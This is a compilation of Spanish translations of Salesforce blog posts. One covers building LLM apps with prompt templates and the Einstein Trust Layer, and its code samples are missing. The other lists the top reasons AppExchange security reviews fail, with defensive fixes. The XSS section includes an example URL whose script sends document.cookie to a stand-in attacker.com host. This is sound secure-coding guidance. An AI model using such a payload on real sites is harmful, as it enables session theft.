Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.
¡Quiero saber de ti!
¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.
Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:
Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:
Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.
Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.
En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.
Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.
Por ejemplo, así es como se vería la llamada API usando la API OpenAI:
Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.
Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:
Escriba un correo electrónico de presentación para el director ejecutivo de Acme.
El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.
Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:
Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542
Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:
Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:
Así es como podrían verse estos pasos de construcción rápidos en Apex:
El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.
Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.
Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:
Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}
{{/oportunidades}}
Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.
Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.
Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?
Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:
Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.
Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.
Así es como funciona:
Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?
La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:
Para construir el mensaje:
Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.
El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.
En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.
El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.
La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.
El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.
Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
